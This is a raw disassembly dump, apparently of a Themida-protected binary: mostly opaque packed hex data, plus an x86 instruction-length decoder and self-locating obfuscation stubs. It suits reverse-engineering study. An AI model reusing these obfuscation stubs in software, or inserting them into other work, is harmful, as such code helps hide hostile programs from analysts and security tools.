dd 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh, 9CA3292Bh
dd 0EDAF7C43h, 0B45EB6E2h, 31B9E0B7h, 306410DCh, 88BC2688h
dd 3D9C732h, 3983452h, 0BB96AD83h, 0B8182578h, 0B9943CF3h
dd 5E8h, 0F9BD0E00h, 0BBB17F4Dh, 0A9958958h, 8105E90Ah
dd 6B01C0h, 0EE900h, 7A170000h, 0A587DD50h, 6C8F293Fh
dd 0C53EFD42h, 0BAh, 21BD8B00h, 8B05E906h, 8A0F101Ch, 11h
dd 0CE9h, 94F10700h, 0BA6531Ch, 572551D4h, 71EB81CEh, 81388E4Fh
dd 0F4620FDEh, 0BAC3811Eh, 0FC5DA356h, 6641C381h, 0BD2B4873h
dd 5E91D15h, 10048F53h, 54D8D8Bh, 816605E9h, 8356CAE9h
dd 4AF502EAh, 7995014Ah, 8105E926h, 0FF9590FAh, 0A0850FFFh
dd 0FFFFFFFh, 0C8E9F3BFh, 88000001h, 7 dup(88004188h)
dd 4188h, 4 dup(0)
dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
dd 888888h, 0
dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h
dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
dd 88080888h, 888888h, 0
dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h
dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
dd 1000000h, 14h dup(0)
dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0)
dd 0E9000000h, 353h, 0E855h, 815D0000h, 0EECAF5EDh, 85C76005h
dd 5EECA42h, 0
dd 663E8166h, 0F850FA1h, 0C7000000h, 0EECA4685h, 605h
dd 24E900h, 858D0000h, 5EECA4Ah, 9A858D50h, 5005EECAh
dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0CA468589h, 36105EEh
dd 0EECA46B5h, 42858B05h, 5D05EECAh
db 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_59AD4E
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_59AD5A
; ---------------------------------------------------------------------------
loc_59AD4E: ; CODE XREF: Themida_:0059AD37j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_59AD5A: ; CODE XREF: Themida_:0059AD49j
push ebx
push esi
push edi
loc_59AD5D: ; CODE XREF: Themida_:0059ADB2j
; Themida_:0059ADCEj ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_59AD70: ; CODE XREF: Themida_:0059AD97j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 5EECBACh
lea ebp, [ebp+5EECA22h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_59AD9D
inc cl
cmp cl, 0Bh
jb loc_59AD70
loc_59AD9D: ; CODE XREF: Themida_:0059AD8Cj
cmp cl, 0Bh
jz loc_59ADFA
cmp al, 66h
jnz loc_59ADDB
cmp byte ptr [ebp-5], 0
jnz loc_59AD5D
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_59ADD3
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_59AD5D
; ---------------------------------------------------------------------------
loc_59ADD3: ; CODE XREF: Themida_:0059ADC0j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_59ADDB: ; CODE XREF: Themida_:0059ADA8j
cmp al, 67h
jnz loc_59AD5D
cmp byte ptr [ebp-6], 0
jnz loc_59AD5D
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_59AD5D
; ---------------------------------------------------------------------------
loc_59ADFA: ; CODE XREF: Themida_:0059ADA0j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_59AE26
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_59AE2B
; ---------------------------------------------------------------------------
loc_59AE26: ; CODE XREF: Themida_:0059AE05j
movzx edi, al
shr edi, 1
loc_59AE2B: ; CODE XREF: Themida_:0059AE21j
push ebp
call $+5
pop ebp
sub ebp, 5EECC64h
lea ebp, [ebp+5EEC922h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_59AFAD
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_59AEF1
dec ecx
jz loc_59AED4
dec ecx
jnz loc_59AF44
cmp byte ptr [ebp-2], 0
jnz loc_59AF40
cmp byte ptr [ebp-5], 0
jz loc_59AEB3
mov byte ptr [ebp+0Bh], 2
loc_59AEB3: ; CODE XREF: Themida_:0059AEA9j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 5EECCF0h
mov dword ptr [ebp+5EECA42h], 1
pop ebp
jmp loc_59AF44
; ---------------------------------------------------------------------------
loc_59AED4: ; CODE XREF: Themida_:0059AE8Ej
cmp byte ptr [ebp-2], 0
jnz loc_59AF1E
cmp byte ptr [ebp-5], 0
jz loc_59AF1E
mov byte ptr [ebp+0Bh], 2
jmp loc_59AF1E
; ---------------------------------------------------------------------------
loc_59AEF1: ; CODE XREF: Themida_:0059AE87j
cmp byte ptr [ebp-2], 0
jnz loc_59AF37
cmp byte ptr [ebp-5], 0
jz loc_59AF26
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_59AF1E
mov [ebp+0Bh], cl
loc_59AF1E: ; CODE XREF: Themida_:0059AED8j
; Themida_:0059AEE2j ...
inc byte ptr [ebp+0Bh]
jmp loc_59AF44
; ---------------------------------------------------------------------------
loc_59AF26: ; CODE XREF: Themida_:0059AEFFj
cmp dl, 5
jnz loc_59AF44
mov [ebp+0Bh], dl
jmp loc_59AF44
; ---------------------------------------------------------------------------
loc_59AF37: ; CODE XREF: Themida_:0059AEF5j
cmp dl, 6
jnz loc_59AF44
loc_59AF40: ; CODE XREF: Themida_:0059AE9Fj
mov byte ptr [ebp+0Bh], 3
loc_59AF44: ; CODE XREF: Themida_:0059AE95j
; Themida_:0059AECFj ...
dec byte ptr [ebp+0Bh]
jz loc_59AF72
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_59AF54: ; CODE XREF: Themida_:0059AF6Aj
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_59AF54
mov esi, edx
loc_59AF72: ; CODE XREF: Themida_:0059AF47j
and al, 0FEh
cmp al, 0F6h
jnz loc_59AFA7
cmp edi, 7Fh
ja loc_59AFA7
test bl, 38h
jnz loc_59AFA7
cmp byte ptr [ebp-7], 0
jz loc_59AFA1
movzx eax, byte ptr [ebp-4]
jmp loc_59AFA4
; ---------------------------------------------------------------------------
loc_59AFA1: ; CODE XREF: Themida_:0059AF92j
push 1
pop eax
loc_59AFA4: ; CODE XREF: Themida_:0059AF9Cj
mov [ebp-1], al
loc_59AFA7: ; CODE XREF: Themida_:0059AF76j
; Themida_:0059AF7Fj ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_59AFAD: ; CODE XREF: Themida_:0059AE57j
mov al, bl
and eax, 7
sub eax, 4
jz loc_59AFD8
dec eax
dec eax
jz loc_59AFCE
and bl, 7
add [ebp-1], bl
jmp loc_59AFE0
; ---------------------------------------------------------------------------
loc_59AFCE: ; CODE XREF: Themida_:0059AFBDj
mov al, [ebp-3]
add al, 6
jmp loc_59AFDD
; ---------------------------------------------------------------------------
loc_59AFD8: ; CODE XREF: Themida_:0059AFB5j
mov al, [ebp-3]
add al, 4
loc_59AFDD: ; CODE XREF: Themida_:0059AFD3j
add [ebp-1], al
loc_59AFE0: ; CODE XREF: Themida_:0059AFC9j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_59B008
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_59AFF3: ; CODE XREF: Themida_:0059B002j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_59AFF3
loc_59B008: ; CODE XREF: Themida_:0059AFE8j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
aLI db '‹Ðë$',0
dd 8 dup(0)
dd 0E9000000h, 0BDh, 0CE46B589h, 858B05EEh, 5E901BDh, 2F1D858Bh
dd 0B58D05E9h, 5EECE90h, 4E23858Dh, 0D0FF05ECh, 0E855C3h
dd 5D000000h, 0CE96ED81h, 0BD8305EEh, 5E901BDh, 2C850F01h
dd 0FF000000h, 0EECE46B5h, 1D858B05h, 3505E92Fh, 34812736h
dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h
dd 6A000000h, 4AB58D1Ch, 5605EECEh, 0CE46B5FFh, 858B05EEh
dd 5E92F1Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 5EECE4Ah
dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
dd 1B80000h, 83000000h, 0E901BDBDh, 850F0105h, 7, 2E9C35Dh
dd 5D000000h, 6F858DCFh, 8905EECEh, 0E92D8985h, 98E905h
dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
dd 0A26D0000h, 0BDE95D0Fh, 6800000Ah, 5EED16Eh, 0FAB012E9h
dd 0D26368FFh, 8E905EEh, 68FFFAB0h, 5EED380h, 0FAAFFEE9h
dd 0D41468FFh, 0F4E905EEh, 68FFFAAFh, 5EED529h, 0FAAFEAE9h
dd 0D5AB68FFh, 0E0E905EEh, 68FFFAAFh, 5EED81Ch, 0FAAFD6E9h
dd 0D92068FFh, 0CCE905EEh, 98FFFAAFh, 2E143158h, 0C0A6C3F2h
dd 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch, 5279BAA0h
dd 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 1327CABAh, 0C20DEB44h
dd 63275588h, 0ACD9F629h, 0E7AC607Dh, 79165A74h, 0D578E840h
dd 0CAD473A6h, 0A441DD13h, 784CC977h, 5CD21C32h, 57AC962Eh
dd 2ACB1320h, 9EB0604Bh, 4BB04526h, 77000000h, 8132619Dh
dd 0EBE21493h, 0BEEC8957h, 4A7176Fh, 32294D56h, 0A043B91Ch
dd 2D5B8AC6h, 9DFF2A69h, 92B04800h, 0E513200Bh, 0D67A3144h
dd 0BE4526C6h, 0B551568Fh, 5A2FCE4h, 0EFE4h, 0E27CAB00h
dd 0FB0563A2h, 0A3CA0B67h, 88C2D806h, 25632755h, 0CE08CCFAh
dd 29D7F89Bh, 16C91A65h, 9FF72A65h, 65C7EE2Fh, 124C10C8h
dd 7D08C2DFh, 0C116C916h, 0D7B15487h, 50BE1B9Dh, 8584D70Dh
dd 0F9DF8623h, 475E8CBFh, 2EDC7FEFh, 1C31159Dh, 8A5214D9h
dd 336951A3h, 0AD87B4D1h, 0EE9C3F72h, 1320B1A8h, 0EA23C036h
dd 0D17F2292h, 19C639CDh, 6BAED706h, 5684B7F2h, 3F1CDB8Ch
dd 49BFA13Eh, 698ECCA6h, 0AB59FC2Fh, 16CBE3EBh, 0FE1B7DF3h
dd 7EAFDA18h, 6F723F86h, 8315D1C9h, 54000008h, 0EAD0ED14h
dd 7C627FAEh, 0DF3103Fh, 9C829FD2h, 1216335Eh, 81ACEAD0h
dd 163D7E64h, 0A9D413F9h, 396CA68Ch, 0C06E4F1Ch, 1327CBFEh
dd 7BC9A700h, 0B3960A1h, 6F11DEF2h, 0D537C445h, 0E9145238h
dd 79ACE6CCh, 14552F5Ch, 2486B9F3h, 618F2CF6h, 4A7176Fh
dd 32294D56h, 0FB3F6E1Ch, 796C524Eh, 0AC793DEBh, 0F851320h
dd 0E41751ADh, 0C1EF6547h, 20AC1929h, 0B8BD5E13h, 26612DF3h
dd 0C14345h, 300A0000h, 0CE98C6F1h, 88C20331h, 0FB1C2755h
dd 0C91A094Dh, 821F9516h, 5335E9Ch, 0C916126Dh, 0E71A5416h
dd 77AAE4CAh, 6ADA3249h, 0F3A019C7h, 31F61C31h, 5C382089h
dd 0C1DE4063h, 1DC03088h, 0C629DC6Fh, 7CB62619h, 6A44E749h
dd 4509B22Ch, 0C82DC4B8h, 25634966h, 0F7465AABh, 0CBCA0549h
dd 62138916h, 5CBEE1DEh, 72FE612Bh, 3CF8F06Fh, 78Eh, 0DBF81F5Fh
dd 6D8AB9F5h, 0FE1B4A87h, 8DAADD18h, 213E69A7h, 0AFEDC51Dh
dd 40816784h, 0D716FC19h, 6FA98FACh, 71521F3Ch, 27C883C3h
dd 0D4B20B13h, 3C5984C2h, 0E39A1C56h, 4C7BB7D6h, 4CA3541Eh
dd 29CC2E11h, 51145A08h, 249A16C9h, 0C2B2E087h, 1C275588h
dd 1A094DFBh, 1F9516C9h, 2F629C82h, 1181D912h, 0DB87C06Eh
dd 51C71C32h, 76B38DAEh, 1A551947h, 8DEFB9E7h, 5CD00AF0h
dd 27D5E8AEh, 0DD80F613h, 27D56F2Fh, 97F96F13h, 5FDD1AF4h
dd 0DEB0B65Dh, 0BF5CBE92h, 1CCAEB18h, 1327D75Ah, 9751EE64h
dd 1327D747h, 0B6E522FCh, 5887C488h, 61FE602Ah, 2665D128h
dd 31649FFBh, 378EB2CFh, 9D40B008h, 0DCD10EEFh, 0ABDA5019h
dd 1700EC15h, 0FB6BC38Ah, 185DAA58h, 2BA18FFDh, 1E8EE6FDh
dd 5F2B5A7Bh, 39ABEEA1h, 1B7A34D1h, 5F8A13AEh, 2E6C46E9h
dd 18396603h, 0A6D4FF3Eh, 4C7AA1E2h, 66F2082h, 1A562538h
dd 77B19734h, 7412744h, 22DFA3D4h, 766EDBABh, 671BAh, 0DB024200h
dd 6D9CD8BEh, 0FE2D6A50h, 8DC0FBE1h, 214C8A70h, 0D8E20004h
dd 6C526F9Ah, 1E7042Bh, 947A97C2h, 3D0A275Ah, 0C9E8AE5Ch
dd 9DF61327h, 805A7BBFh, 1EE81641h, 0C91AA8EEh, 23C03616h
dd 7F2292EAh, 32DBF4D1h, 0D915EF1Ch, 742B0DAAh, 27D580C6h
dd 5115C313h, 5D1327D5h, 71CA8FE7h, 1547D077h, 42F093F5h
dd 1327D57Ch, 7AA0C82h, 92C0F32Dh, 1ECA2F79h, 0B91BDF7Dh
dd 0D915EF1Ch, 6BA78DAAh, 104A0E3Ch, 1FD6ACDDh, 7D756987h
dd 5DDC1h, 476EAE00h, 0D908442Ah, 6A99D6BCh, 0F92C674Dh
dd 8DB8F6DCh, 3C766C70h, 0D0B6D3FEh, 654B688Fh, 0F8DEFB26h
dd 0A16E8BBEh, 0CE4C12C0h, 0F9521327h, 0A7176F1Bh, 0DB695604h
dd 0F0B51C32h, 475CF5F1h, 7AB9151Fh, 0F557214Fh, 0B3E7852h
dd 0F25EB5EEh, 8F5987B6h, 96DC8A2Dh, 0C51327C2h, 0E582ADEBh
dd 0C75F8D03h, 1327C2FAh, 64A1CE08h, 0DB3D0735h, 7DACE9ADh
dd 234A8B4Fh, 62852BF5h, 8B248B13h, 1B4970B1h, 0F67FB451h
dd 210BEBB5h, 3A0545h, 0ABCC0000h, 376594D1h, 0CA793D6Dh
dd 0F851327h, 1B4974B3h, 6F86B451h, 5503A618h, 16C91A15h
dd 65FD2BA1h, 16C91A5Dh, 2F7CF99Ah, 40CFD361h, 77Fh, 9ACA4500h
dd 0A000001h, 0B40C4384h, 12F3A144h, 5C1C321Ch, 9D9E2E97h
dd 0DD3F6699h, 0AA8C18AEh, 0E73FB387h, 0D926D477h, 25B67153h
dd 9C7681AFh, 58912E61h, 3FED9000h, 0B39F3150h, 0A781249Ah
dd 371D3A6Dh, 6999CAFDh, 0BCC52F0Bh, 4C808C4h, 59990000h
dd 0F32F1532h, 84C1A7C4h, 17523855h, 0A3E1C7E4h, 8B575B78h
dd 0A9C6F12Fh, 3E5B82C3h, 0D1EE1958h, 617EB1EBh, 4105B394h
dd 4D1327CFh, 4C7B16F4h, 0CF96E4B7h, 0F6318DE5h, 64026C3h
dd 610F30D3h, 16C9551Dh, 0D68E2BA1h, 8B667BFh, 16C95546h
dd 550F4FFDh, 198F16C9h, 46E94BC1h, 32651398h, 90AD231Ch
dd 74370AAh, 0ACE6AAD8h, 7DBB1779h, 0F85A2452h, 8BD6A5C7h
dd 38F4EC69h, 446h, 93B0D717h, 254271ADh, 0B6D3023Fh, 456295D0h
dd 0D9F6215Fh, 67A50DD5h, 0F8391F3Ch, 8FCEB4D1h, 27614764h
dd 290AD7F4h, 27CF3B7Bh, 8C6AC313h, 275588C2h, 0DBB52963h
dd 7C42729Dh, 8216C91Ah, 0B87CAA0Ch, 581C4A7Dh, 0AFBDEB1Eh
dd 80BBE98Ch, 0F3551F4Dh, 3B690C6Bh, 0D2B1CE01h, 40CFD30Eh
dd 2722h, 0D50FE900h, 0DAA74A2h, 0A7176FDFh, 14F55604h
dd 0CB411C32h, 1C3D059Dh, 993A1320h, 0D101CFDCh, 421F4526h
dd 0E5000000h, 4A7176Fh, 325C3956h, 6C0F851Ch, 84275692h
dd 0A8F26CAAh, 0D7229921h, 4AF18EF0h, 204BB390h, 6FAE8813h
dd 4B115503h, 279D1320h, 84228C5h, 96D2B8D5h, 7F7D3967h
dd 0BE000003h, 0DA77AAE4h, 0A7176FACh, 0FD595604h, 6FE51C31h
dd 10437D41h, 0B6DD1EE2h, 5689C488h, 0FA256428h, 0FC9902CCh
dd 5C7F2579h, 296A4419h, 590AD402h, 85A88A59h, 91CA67E0h
dd 7826C939h, 19D8C97Fh, 866C89FFh, 0D4EB194Ch, 0BB690C7Ch
dd 1C3231F6h, 25F876A5h, 69EDB15Fh, 7BF11320h, 0D966BBCAh
dd 0B6E45A3Ch, 431A5BD2h, 0DB327422h, 46BC1320h, 5689C3A9h
dd 38A80039h, 0CB9B6695h, 724692B2h, 0F1FAA8D5h, 8519DB9Eh
dd 0E31DE10Fh, 279E82B0h, 3BAB034Eh, 92E1EA98h, 0FF751C32h
dd 8FC2FCE2h, 3F7C5661h, 4F8D7310h, 0C5E8F624h, 87BAF4B0h
dd 69D9316Ah, 8DCBA5C6h, 0E91B3462h, 0B3F75C49h, 0ECA643A5h
dd 19DBC5A7h, 0D79BC93Fh, 235709Dh, 7AA80AD4h, 7561F96h
dd 25C2F12Dh, 812494ECh, 32D79ED3h, 7592081Ch, 0F422558Fh
dd 0A6C3F630h, 2A5156Dh, 0DBCEDB54h, 0BFED6319h, 0C9E11B27h
dd 0BABB5C16h, 0CF282FF1h, 384140h, 6F070000h, 0E304A717h
dd 0C91A7135h, 6A077D16h, 29928F3Dh, 2FF41C32h, 0D53F37ECh
dd 0D016C71Eh, 124F298Ah, 59DCB2Dh, 1320093Dh, 0CFDC993Ah
dd 4526C401h, 9D1Fh, 88C2E500h, 0B3D95A06h, 399BFCF9h
dd 0DE09470Bh, 7FB2ECB0h, 20538D51h
dd 2C3E4903h, 468016C9h, 0D610F613h, 0DB3D6CA9h, 0CE3E96ADh
dd 2BD07D2Bh, 0A81E1C32h, 76AED605h, 0D788B7F4h, 6D0A5540h
dd 84BF99C6h, 237BB451h, 776210B3h, 0BB19C61Eh, 8AC8A245h
dd 1E5C425Fh, 0F086C2F3h, 1F96F72h, 1D545h, 3F66A600h
dd 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h, 347E6468h
dd 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h, 0C2440AB8h
dd 0F14A1327h, 5984C213h, 0E91C563Ch, 176F9ECCh, 1AF6B866h
dd 41F816C9h, 0C91AD393h, 365DB16h, 5350FEA1h, 0B31C3229h
dd 9EDD0643h, 81AF1173h, 200BD9E9h, 56851E13h, 7CBF904Eh
dd 6F2FDD02h, 6F1320D4h, 0C5FA97F9h, 1955FBB0h, 0D44B4526h
dd 11000000h, 275588C2h, 0CCFA2563h, 0C9164934h, 20538D16h
dd 0BFFCD603h, 0D30DF390h, 0A386BA6h, 0ACDA0946h, 7B1E80E2h
dd 4C42F94Ch, 0B5116563h, 0F8B04D74h, 68D413EDh, 0C984F4BAh
dd 2284FA16h, 548D2AF4h, 3BE98CFCh, 1C328B92h, 104966DCh
dd 0CBA548B8h, 98C5628Dh, 0C61EECEAh, 59FC7219h, 0E7BF0938h
dd 9E7BFE0Eh, 0B8DD1B01h, 121D4B7Eh, 0CBAF2264h, 0D436AC16h
dd 316F5572h, 71C7D506h, 1E166F72h, 0D162h, 3B62A200h
dd 0CDFC381Eh, 5E8DCAB0h, 0ED205B41h, 81ACEAD0h, 38826064h
dd 0CCB2CFFAh, 6147648Bh, 0F4DAF722h, 9D6A87BAh, 0C3480EBCh
dd 0FD561327h, 5984C21Fh, 0E91C563Ch, 0C12D6C46h, 0C91A5313h
dd 83E55B16h, 1A6C32E0h, 0FC7216C9h, 0C28AB85Fh, 63275588h
dd 0A0D9F629h, 26A28948h, 3E5C01h, 0CE3092C5h, 2C747D2Bh
dd 7CF21C32h, 0E14434Eh, 6B96D4A3h, 0C934CBBAh, 0D90C462Ch
dd 0F41B5C36h, 90CAB057h, 0D24B7B0Eh, 0E39440F4h, 8CDE654Fh
dd 3C6ACCAFh, 0C43A73A4h, 6B0A2DBAh, 95D2FF39h, 0C6E3866h
dd 9CCF09EFh, 3C6FAA6Eh, 84CA7899h, 0BF4BC60Ah, 0C60A4D11h
dd 83DB514Bh, 0D4B8700Dh, 528C185Dh, 0E21C021Fh, 3C581AFh
dd 5000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h
dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
dd 57864775h, 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h
dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 68243489h
dd 699Eh, 52241C89h, 0EED02ABAh, 8BD68905h, 0C4832414h
dd 1C8B5404h, 4C48324h, 141068h, 24348900h, 8B08438Fh
dd 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h, 348B5C24h
dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0A561E95Ch
dd 0C43CFFFAh, 0EEDA16B8h, 0FFC50305h, 384D9BE0h, 4D6D4703h
dd 2714BA47h, 49E0C736h, 0F8BF911Bh, 0B6733F70h, 65F36575h
dd 0B4165E3Eh, 297AE916h, 0B3B6E251h, 4C55A3Fh, 95EEE939h
dd 0FC92C67Eh, 89468D13h, 0A36EAE7Ah, 81018214h, 0E5611E0Fh
dd 7FE23179h, 4597BB42h, 0C6D75D11h, 71CFFF37h, 9D518756h
dd 0C48D8D39h, 5105EEDBh, 180FF081h, 895E378Fh, 0E926558Dh
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0FFDB6FE2h, 0BADADDB5h, 284096A6h, 80585C7h
dd 740C05E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 2B55EFC3h, 0E905659Dh, 3D85C705h
dd 5E916h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0EA5FC356h, 0FFAFBF1Dh, 0E915DDB5h
dd 16B65605h, 0C595FF58h, 6A05E90Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A120C357h
dd 270C4F58h, 6AA181h, 1E9595FFh, 0C08B05E9h, 96991FEBh
dd 0D032138Fh, 44DA8634h, 35BD32EEh, 2AADCFC1h, 51EB309Dh
dd 0D3B71D72h, 5D3EC5E0h, 7E804h, 9AA10000h, 921CC58Eh
dd 4BB966CEh, 0B70F5A2Ch, 40C281F7h, 51000071h, 0B85EF78Bh
dd 1C1Bh, 0CE9h, 0F623B100h, 8615B4C4h, 9F112919h, 0E932FF4Eh
dd 0Ah, 25AA1C3Dh, 0A415E232h, 15F867Eh, 0E9037D95h, 8CC78105h
dd 0F588319h, 0EF81DEBFh, 7AC3B9E4h, 27B9B58Bh, 0F78105E9h
dd 46AC8BEEh, 89D9B70Fh, 0F60603Ah, 0BD8BFEB7h, 5E9004Dh
dd 0EA816161h, 543166C3h, 0C281CF8Ah, 543166BFh, 0EE8h
dd 6C8A1900h, 42239DAFh, 0EFC0495Ah, 661B3BC6h, 2D4ED381h
dd 1E8835Bh, 1F850Fh, 0B58B0000h, 5E93111h, 29E9h, 1951E000h
dd 0E842992h, 85C3F4D9h, 1714C456h, 15FF9BFh, 0EB81669Fh
dd 62E9F5A9h, 41FFFFFFh, 0B2298879h, 221741ECh, 0ABE98492h
dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h
dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h
dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h
dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h
dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
dd 1E80097h, 3D94E7A6h, 0CCAC8332h, 36E91CF6h, 68000013h
dd 5EEDF41h, 0FAA272E9h, 0E06468FFh, 68E905EEh, 68FFFAA2h
dd 5EEE148h, 0FAA25EE9h, 0E26A68FFh, 54E905EEh, 68FFFAA2h
dd 5EEE2E8h, 0FAA24AE9h, 0E3D968FFh, 40E905EEh, 68FFFAA2h
dd 5EEE46Ch, 0FAA236E9h, 0E53568FFh, 2CE905EEh, 68FFFAA2h
dd 5EEE5F1h, 0FAA222E9h, 0E75A68FFh, 18E905EEh, 68FFFAA2h
dd 5EEE853h, 0FAA20EE9h, 0E9A368FFh, 4E905EEh, 68FFFAA2h
dd 5EEEAF1h, 0FAA1FAE9h, 0ECDC68FFh, 0F0E905EEh, 68FFFAA1h
dd 5EEEE1Ch, 0FAA1E6E9h, 4B72B2FFh, 0DD0C482Eh, 6E9DDAC0h
dd 0FD306B51h, 91BCFAE0h, 48727074h, 0DCC2DF0Ah, 7157749Bh
dd 4EA0732h, 0AD7A97CAh, 0C4581ECCh, 0D661327h, 0EE155630h
dd 88C22351h, 29632755h, 0BF866CA7h, 0B6954E2h, 0B9B869BBh
dd 3274229Ah, 0BC16C986h, 6582E446h, 2F6AD42Ch, 309E4BFCh
dd 4D9B2F6Dh, 1D9A48EBh, 211C32F7h, 0F12E08ABh, 626D25C2h
dd 811E4988h, 20D8FBC7h, 1A5BFC13h, 0FB2E6943h, 876603CDh
dd 452611D9h, 47D7h, 176F9D00h, 0CFD504A7h, 9BEE3E39h
dd 36E411AEh, 1C32BC2Dh, 1F40E359h, 209E2D71h, 983BB113h
dd 209EA4EAh, 17B42A13h, 9EFBC75Fh, 5BFC1320h, 53CF911Ah
dd 0FBD54526h, 38DC8DC0h, 34A10D51h, 9D99BA57h, 5F000000h
dd 661488C2h, 16C91A20h, 0A8D638AEh, 4D7BA6E4h, 0EE1C4F89h
dd 0A0BDF02Ah, 0C91715E6h, 0F0235D16h, 80B3EDD3h, 306D4752h
dd 0D32B6401h, 0B912C063h, 0FD1C31F4h, 0D9316A87h, 1618C669h
dd 1819C6B2h, 0E725FFA2h, 43729FBCh, 0C1FFDCCh, 4B31CE18h
dd 59B1E20Dh, 0EC6F728Ah, 10B638F4h, 41810000h, 0DB17FD1Ah
dd 6CA98FACh, 0FF3A203Dh, 8BC9AFCCh, 0A33F4360h, 91AED917h
dd 26436AABh, 0B9D60140h, 496699D3h, 0A9ED9B7Ch, 351327C5h
dd 84C2FEDCh, 9EDCB659h, 492FD673h, 91BFDC0Fh, 4A7176Fh
dd 32294D56h, 0A043B91Ch, 0B8DD17Fh, 0D00D1320h, 36D349A1h
dd 0BDCE67Eh, 7A1B1320h, 478862FBh, 8B28F220h, 26C6E4ACh
dd 0F1FC45h, 0E9C30000h, 87517FAAh, 88C2BCEAh, 25632755h
dd 0E7C1CCFAh, 844E7CABh, 17DC2DE7h, 0F5CF16C9h
dd 21508DBAh, 99C729F3h, 124C32CFh, 28623CDFh, 194006B4h
